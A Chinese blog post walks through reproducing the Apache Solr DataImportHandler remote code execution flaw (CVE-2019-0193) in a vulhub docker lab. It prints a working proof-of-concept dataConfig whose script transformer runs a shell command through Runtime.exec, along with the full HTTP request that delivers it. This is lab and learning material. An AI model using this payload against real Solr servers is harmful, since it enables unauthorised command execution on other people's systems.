当前位置:网站首页>Apache solr 远程代码执行漏洞(CVE-2019-0193)复现
Apache solr 远程代码执行漏洞(CVE-2019-0193)复现
2022-04-21 07:01:00 【伟大灵魂导师】
0x00:复现环境
靶机:CentOS7、docker、vulhub-master
攻击机:windows10
0x01:复现过程(数据包提交)
在/vulhub-master/solr/CVE-2019-0193/下启动镜像:
docker-compose up -d
然后攻击机访问靶机IP:8983(默认端口号)
如图访问成功:

随后运行命令:
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
攻击者需要知道Solr服务中Core的名称才能执行攻击。此命令其实本质上是向其加入test核心以便于测试
访问192.168.64.183:8983/solr/admin/cores查看Core的名称:

在打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,填入以下POC:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){
java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
之后点击Execute with this Confuguration会发送以下请求包:
POST /solr/test/dataimport?_=1641970441677&indent=on&wt=json HTTP/1.1
Host: 192.168.64.183:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 678
Origin: http://192.168.64.183:8983
Connection: close
Referer: http://192.168.64.183:8983/solr/
Cookie: JSESSIONID=189B4C0C2DD2FAA46730AB6F93F07A5C; AuthSession=dnVsaHViOjYxNjU0RDU0OuuRUpB6L4bS_rEsM06eIp94lu1K; ADMINCONSOLESESSION=RDQnhK7ZvvJvYZ971L8pbqHlFY8Ty7Hr2v3yLPgJsJtYL2jpSVTS!1280347726
command=full-import&verbose=false&clean=true&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
其实发送数据包访问的文件夹可以是**/solr/test/dataimport**,test为对应的Core名,而且GET方法也可以实现

在靶机执行docker-compose exec solr ls /tmp命令查看创建成功的success文件:

docker进入、退出容器命令
进入:
docker exec -it 容器ID /bin/bash
退出:
exit
参考链接:https://blog.csdn.net/whatday/article/details/106959989/
0x02:复现过程(端口监听)
等待补充…………
版权声明
本文为[伟大灵魂导师]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_42558965/article/details/122453157
边栏推荐
- leetcode 203. Remove linked list elements
- Actual combat of cloud native kubesphere multi tenant system
- 注解功能补充
- kubesphere3.0忘记admin的密码
- IIC bus design ① - IIC communication protocol
- It can switch the aircraft duel with three interfaces of start, battle and settlement, modularization, pyGame, rect and exe packaging
- 查询结果处理
- [Niuke brush question 18] find the longest common substring in two strings a and B
- leetcode 142. Circular linked list II
- Postgre (PG) - SQL script record
猜你喜欢

Introduction to QT 5.12 actual combat

Record the problems and solutions encountered in using fastjson message converter

Leetcode topic -- 120 Minimum length sum of triangles, simple DP

The fifth stop is the hometown of Confucius and Mencius ------- the shortest path to the maze

Flutter 环境搭建等基础

leetcode 59. Spiral matrix II

C语言指针进阶(1.一阶与二阶指针)

IIC bus design ① - IIC communication protocol

MongoDB 实验——数据备份和恢复和数据库优化

Introduction to btstack 1.0 of Bluetooth open source protocol stack
随机推荐
显示器选购参考天梯
2022-04-20: the small regiment goes to participate in the military training. The military training is coming to an end. The officer wants to divide n people in a row into m groups, and then ask each g
Introduction to QT 5.12 actual combat
三级菜单动态生成
Files and Directories
云原生KubeSphere实战多租户系统实战
[question 31] create two identical pets
STM32系统和自定义bootloader的实现和应用
leetcode 209. Minimum length subarray
Project storage log
Bluetooth open source protocol stack btstack summary
Hackmyvm integrated target | driftingblues-9 (end)
Usage notes of Axure product prototype tool
Implementing AES encryption and decryption with PHP
【牛客刷题18】 查找两个字符串a,b中的最长公共子串
PHP removes commas at the beginning or end of strings
[Niuke brush question 18] find the longest common substring in two strings a and B
Postgre (PG) - SQL script record
OmniPlan tool user manual
ECS uses FRP to map Apache on the local (win10 / win11) intranet to the extranet